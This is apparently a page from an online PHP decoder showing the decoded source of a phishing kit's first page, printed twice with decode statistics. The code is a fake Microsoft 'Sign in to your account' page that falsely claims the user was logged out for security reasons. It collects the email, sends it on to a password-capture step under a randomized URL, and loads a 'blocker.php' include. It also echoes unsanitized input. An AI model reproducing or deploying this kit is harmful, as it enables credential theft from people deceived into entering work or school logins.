Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php include('blocker.php'); // start > to get url and and put id $url="http://".$..
Decoded Output download
<?php
include('blocker.php');
// start > to get url and and put id
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
parse_str(parse_url($url, PHP_URL_QUERY));
$parts = @explode('@', $email);
$user = @$parts[0];
// < end
$email = $_GET['email'];
$error = $_GET['error'];
function random_number(){
$numbers = array(0,1,2,3,4,5,6,7,8,9,'A','b','C','D','e','F','G','H','i','J','K','L');
$key = array_rand($numbers);
return $numbers[$key];
}
$url = random_number().random_number().random_number().random_number().random_number().random_number().date('U').md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U'));
$post = 'enterpassword.php?'.$url;
if (isset($_GET['email']) && !empty($_GET['email'])) {
$email = $_GET['email'];
if($email) {
header("Location: enterpassword.php?$url&email=$email&error=$error");
}
}
$errorMsg = '';
if(isset($_GET['error'])) {
if ($_GET['error'] == 1) {
$errorMsg = "Enter a valid email.";
} else if ($_GET['error'] == 2) {
$errorMsg = "We don't recognise your password. Make sure that you type the password for your work or school account.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
<link rel="shortcut icon" type="icon" href="images/favicon.png">
<link rel="stylesheet" type="text/css" href="style.css">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript">
function isValidEmailAddress(emailAddress) {
var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
return pattern.test(emailAddress);
};
$(function(){
$(document).ready(function(){
$("#next").click(function(){
$('#loader').show();
if(!isValidEmailAddress($('#email').val())) {
$('#email').addClass("error");
$('#message').show();
$('#message').text('Enter a valid email.');
$('#loader').hide();
$('#email').on('input',function(){
$('#email').removeClass('error');
$('#message').hide();
});
return false;
}
});
});
});
</script>
</head>
<body>
<div class="overlay">
<div class="login-box">
<img src="images/ms-logo-v2.jpg" alt="logo">
<h2 id="title">You have been automatically logged out for security reasons, Please sign into your account again</h2>
<p id="message" class="message"><?php echo $errorMsg; ?></p>
<form action="<?php echo $post; ?>" method="post">
<input id="email" type="email" name="email" value="<?php echo $email; ?>" placeholder="Email or Phone">
<div id="loader" class="loader" hidden>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
</div>
<button id="next" class="next">Next</button>
</form>
<br>
<div id="group1">
<small id="create">No account? <a href="#" class="fade">Create one!</a></small>
<br>
<br>
<small id="cant"><a href="#" class="fade">Can't access your account?</a></small>
</div>
</div>
</div>
<footer>
<ul>
<li><a href="#">Privacy & cookies</a></li>
<li><a href="#">Terms of use</a></li>
<li><a>©2018 Microsoft</a></li>
</ul>
</footer>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
include('blocker.php');
// start > to get url and and put id
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
parse_str(parse_url($url, PHP_URL_QUERY));
$parts = @explode('@', $email);
$user = @$parts[0];
// < end
$email = $_GET['email'];
$error = $_GET['error'];
function random_number(){
$numbers = array(0,1,2,3,4,5,6,7,8,9,'A','b','C','D','e','F','G','H','i','J','K','L');
$key = array_rand($numbers);
return $numbers[$key];
}
$url = random_number().random_number().random_number().random_number().random_number().random_number().date('U').md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U'));
$post = 'enterpassword.php?'.$url;
if (isset($_GET['email']) && !empty($_GET['email'])) {
$email = $_GET['email'];
if($email) {
header("Location: enterpassword.php?$url&email=$email&error=$error");
}
}
$errorMsg = '';
if(isset($_GET['error'])) {
if ($_GET['error'] == 1) {
$errorMsg = "Enter a valid email.";
} else if ($_GET['error'] == 2) {
$errorMsg = "We don't recognise your password. Make sure that you type the password for your work or school account.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
<link rel="shortcut icon" type="icon" href="images/favicon.png">
<link rel="stylesheet" type="text/css" href="style.css">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript">
function isValidEmailAddress(emailAddress) {
var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
return pattern.test(emailAddress);
};
$(function(){
$(document).ready(function(){
$("#next").click(function(){
$('#loader').show();
if(!isValidEmailAddress($('#email').val())) {
$('#email').addClass("error");
$('#message').show();
$('#message').text('Enter a valid email.');
$('#loader').hide();
$('#email').on('input',function(){
$('#email').removeClass('error');
$('#message').hide();
});
return false;
}
});
});
});
</script>
</head>
<body>
<div class="overlay">
<div class="login-box">
<img src="images/ms-logo-v2.jpg" alt="logo">
<h2 id="title">You have been automatically logged out for security reasons, Please sign into your account again</h2>
<p id="message" class="message"><?php echo $errorMsg; ?></p>
<form action="<?php echo $post; ?>" method="post">
<input id="email" type="email" name="email" value="<?php echo $email; ?>" placeholder="Email or Phone">
<div id="loader" class="loader" hidden>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
</div>
<button id="next" class="next">Next</button>
</form>
<br>
<div id="group1">
<small id="create">No account? <a href="#" class="fade">Create one!</a></small>
<br>
<br>
<small id="cant"><a href="#" class="fade">Can't access your account?</a></small>
</div>
</div>
</div>
<footer>
<ul>
<li><a href="#">Privacy & cookies</a></li>
<li><a href="#">Terms of use</a></li>
<li><a>©2018 Microsoft</a></li>
</ul>
</footer>
</body>
</html>
Function Calls
| None |
Stats
| MD5 | 905434f4e121bfc860ecae1dcf2c5367 |
| Eval Count | 0 |
| Decode Time | 128 ms |